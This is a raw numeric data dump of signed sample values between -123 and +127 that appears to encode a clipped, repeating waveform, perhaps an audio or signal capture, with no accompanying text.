+-85 +-79 +-73 +-67 +-61 +-55 +-50 +-45 +-40 +-37 +-34 +-31 +-27 +-24 +-21 +-19 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-89 +-82 +-75 +-68 +-62 +-58 +-53 +-48 +-42 +-38 +-35 +-32 +-28 +-25 +-22 +-20 +-17 +-15 +-12 +-10 +-9 +-8 +-6 +-4 +-2 +-1 +0 +2 +3 +2 +4 +5 +6 +6 +7 +7 +8 +7 +7 +8 +10 +10 +10 +11 +11 +10 +11 +11 +12 +12 +12 +12 +12 +11 +11 +12 +13 +13 +14 +14 +14 +13 +13 +13 +14 +14 +14 +14 +15 +13 +13 +13 +15 +15 +15 +14 +15 +15 +14 +14 +15 +15 +15 +14 +14 +13 +13 +13 +14 +15 +15 +15 +14 +14 +15 +14 +14 +14 +15 +14 +14 +13 +14 +14 +14 +14 +15 +15 +14 +14 +14 +15 +15 +14 +15 +15 +14 +13 +13 +14 +15 +14 +15 +15 +15 +14 +14 +15 +15 +14 +14 +15 +14 +13 +13 +14 +15 +15 +15 +15 +15 +14 +14 +14 +15 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-88 +-82 +-75 +-68 +-62 +-57 +-51 +-46 +-41 +-38 +-33 +-31 +-28 +-26 +-23 +-21 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-113 +-104 +-97 +-89 +-82 +-75 +-69 +-63 +-59 +-54 +-48 +-43 +-38 +-34 +-31 +-27 +-25 +-22 +-20 +-16 +-14 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +95 +89 +84 +78 +73 +68 +65 +60 +57 +54 +51 +47 +45 +42 +40 +37 +36 +34 +32 +29 +28 +27 +27 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-84 +-77 +-70 +-66 +-61 +-55 +-48 +-44 +-39 +-36 +-32 +-29 +-26 +-23 +-20 +-18 +-15 +26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-106 +-98 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +-10 +-9 +-9 +-6 +-4 +-3 +-2 +0 +1 +2 +2 +4 +4 +5 +5 +7 +7 +7 +6 +7 +8 +8 +9 +10 +10 +10 +10 +11 +11 +11 +12 +13 +13 +12 +10 +11 +12 +13 +13 +14 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +12 +12 +13 +15 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +15 +15 +14 +13 +14 +15 +15 +15 +15 +15 +15 +14 +14 +15 +15 +15 +15 +15 +14 +13 +13 +15 +15 +15 +14 +14 +15 +15 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +111 +103 +98 +92 +86 +79 +74 +69 +65 +60 +57 +52 +50 +47 +44 +41 +40 +37 +36 +33 +33 +30 +29 +27 +27 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +108 +100 +95 +89 +84 +77 +73 +68 +65 +61 +57 +53 +51 +48 +46 +42 +40 +37 +36 +33 +31 +30 +29 +26 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-101 +-93 +-85 +-78 +-72 +-67 +-60 +-54 +-49 +-45 +-40 +-35 +-32 +-30 +-26 +-23 +-19 +-17 +-15 +-13 +-11 +-11 +-9 +-6 +-4 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +5 +6 +7 +6 +6 +8 +9 +9 +10 +10 +10 +9 +10 +11 +12 +11 +12 +12 +12 +11 +11 +12 +13 +13 +13 +13 +14 +13 +13 +13 +14 +14 +13 +13 +14 +12 +12 +13 +14 +15 +15 +14 +14 +14 +15 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +102 +96 +90 +85 +80 +76 +70 +66 +61 +58 +53 +50 +47 +44 +41 +40 +37 +35 +33 +32 +30 +29 +28 +27 +25 +24 +23 +22 +21 +20 +20 +19 +18 +18 +17 +16 +15 +15 +14 +14 +13 +13 +13 +12 +12 +13 +12 +11 +11 +12 +11 +11 +10 +11 +11 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-102 +-94 +-86 +-78 +-72 +-67 +-61 +-55 +-50 +-45 +-40 +-37 +-34 +-31 +-26 +-24 +-21 +-19 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-76 +-69 +-64 +-60 +-54 +-48 +-44 +-40 +-35 +-32 +-29 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-2 +-1 +0 +1 +2 +2 +3 +4 +6 +6 +6 +7 +8 +7 +7 +8 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-98 +-90 +-83 +-75 +-69 +-64 +-60 +-54 +-48 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-21 +-18 +-15 +-13 +-12 +-10 +-9 +-7 +-5 +-3 +-2 +0 +1 +1 +2 +3 +4 +5 +5 +6 +7 +7 +6 +7 +8 +9 +9 +10 +11 +11 +10 +11 +11 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +119 +112 +104 +97 +90 +85 +79 +74 +69 +65 +60 +58 +55 +52 +48 +45 +43 +40 +37 +36 +34 +32 +30 +29 +28 +26 +24 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-93 +-85 +-77 +-71 +-66 +-60 +-55 +-49 +-44 +-40 +-36 +-32 +-29 +-26 +-23 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +103 +97 +90 +84 +78 +74 +69 +65 +61 +58 +54 +51 +48 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-93 +-85 +-78 +-71 +-66 +-60 +-55 +-49 +-43 +-39 +-36 +-32 +-29 +-25 +-23 +-20 +-18 +-15 +-13 +-12 +-11 +-9 +-6 +-5 +-3 +-2 +0 +0 +1 +2 +3 +4 +4 +6 +7 +7 +5 +6 +8 +9 +10 +11 +11 +11 +11 +11 +11 +11 +11 +12 +11 +11 +11 +11 +11 +13 +13 +13 +13 +14 +14 +13 +13 +14 +14 +14 +14 +14 +13 +13 +13 +14 +15 +15 +14 +14 +14 +14 +14 +14 +15 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-98 +-91 +-84 +-76 +-69 +-64 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-2 +-1 +0 +1 +3 +3 +4 +5 +6 +6 +6 +7 +8 +7 +7 +8 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +12 +12 +12 +11 +12 +13 +14 +14 +13 +13 +13 +14 +13 +14 +14 +14 +14 +14 +13 +14 +15 +16 +16 +16 +15 +15 +14 +14 +14 +14 +14 +14 +14 +14 +12 +13 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +13 +13 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +111 +103 +97 +90 +84 +79 +74 +68 +64 +61 +57 +53 +50 +47 +45 +41 +40 +38 +36 +33 +32 +30 +29 +27 +26 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +101 +96 +88 +83 +78 +74 +68 +64 +60 +57 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-39 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +64 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +101 +95 +89 +84 +78 +73 +69 +65 +60 +57 +54 +52 +49 +45 +42 +41 +38 +36 +34 +33 +31 +30 +28 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +101 +95 +88 +82 +77 +72 +67 +63 +59 +56 +52 +49 +47 +44 +41 +40 +38 +36 +33 +32 +31 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-84 +-78 +-71 +-66 +-60 +-55 +-49 +-44 +-39 +-36 +-33 +-30 +-26 +-23 +-20 +-18 +-15 +-13 +-11 +-11 +-9 +-6 +-4 +-3 +-2 +0 +0 +0 +2 +3 +4 +4 +5 +6 +7 +5 +6 +7 +9 +9 +10 +10 +11 +10 +10 +11 +12 +12 +12 +12 +13 +11 +11 +12 +13 +14 +14 +13 +13 +13 +13 +13 +13 +14 +14 +13 +13 +13 +13 +13 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +103 +97 +90 +84 +78 +74 +69 +65 +60 +57 +54 +50 +47 +44 +42 +39 +36 +35 +34 +32 +30 +29 +28 +27 +25 +24 +23 +22 +20 +20 +19 +18 +17 +17 +17 +16 +15 +15 +14 +14 +14 +14 +13 +13 +13 +13 +11 +12 +12 +11 +11 +11 +11 +10 +10 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-101 +-93 +-86 +-78 +-71 +-66 +-61 +-55 +-49 +-44 +-40 +-37 +-33 +-30 +-27 +-24 +-21 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +71 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-97 +-89 +-82 +-75 +-69 +-63 +-60 +-54 +-49 +-43 +-40 +-35 +-31 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-2 +-2 +0 +1 +2 +3 +4 +4 +6 +6 +7 +7 +7 +7 +7 +7 +9 +10 +10 +10 +11 +11 +10 +11 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +83 +-16 +-103 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-76 +-69 +-63 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-21 +-18 +-15 +-13 +27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-105 +-97 +-89 +-81 +-74 +-68 +-62 +-58 +-52 +-47 +-43 +-39 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +101 +95 +89 +84 +78 +73 +69 +66 +62 +59 +55 +52 +48 +45 +42 +39 +36 +35 +32 +31 +30 +28 +26 +26 +25 +24 +23 +22 +21 +20 +19 +19 +18 +17 +16 +16 +15 +15 +14 +14 +13 +13 +12 +13 +12 +12 +12 +13 +12 +11 +11 +12 +11 +11 +11 +11 +10 +10 +10 +10 +10 +10 +10 +10 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +10 +10 +11 +11 +10 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +8 +8 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +10 +10 +11 +10 +10 +9 +9 +8 +9 +8 +8 +8 +8 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +9 +8 +9 +8 +8 +8 +9 +9 +10 +10 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +9 +10 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +8 +8 +8 +8 +8 +8 +8 +9 +9 +9 +8 +9 +-70 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-110 +-101 +-93 +-85 +-78 +-72 +-67 +-61 +-55 +-49 +-45 +-41 +-37 +-33 +-30 +-27 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-82 +-74 +-68 +-62 +-58 +-53 +-47 +-43 +-39 +-34 +-31 +-28 +-25 +-22 +-19 +-16 +-15 +-13 +-11 +-8 +-8 +-7 +-5 +-2 +-1 +0 +1 +2 +3 +4 +4 +5 +6 +7 +7 +7 +7 +8 +8 +9 +10 +11 +11 +11 +10 +11 +12 +13 +13 +13 +13 +13 +12 +12 +12 +14 +13 +13 +13 +14 +13 +13 +14 +14 +14 +14 +14 +14 +13 +13 +13 +14 +14 +14 +14 +15 +14 +14 +14 +14 +14 +14 +14 +14 +12 +13 +14 +15 +14 +15 +15 +14 +14 +15 +14 +14 +14 +15 +15 +14 +13 +13 +14 +15 +15 +15 +15 +15 +14 +14 +14 +15 +15 +14 +14 +15 +14 +14 +15 +15 +15 +15 +14 +14 +14 +14 +14 +14 +14 +15 +14 +14 +14 +14 +13 +14 +15 +15 +14 +14 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 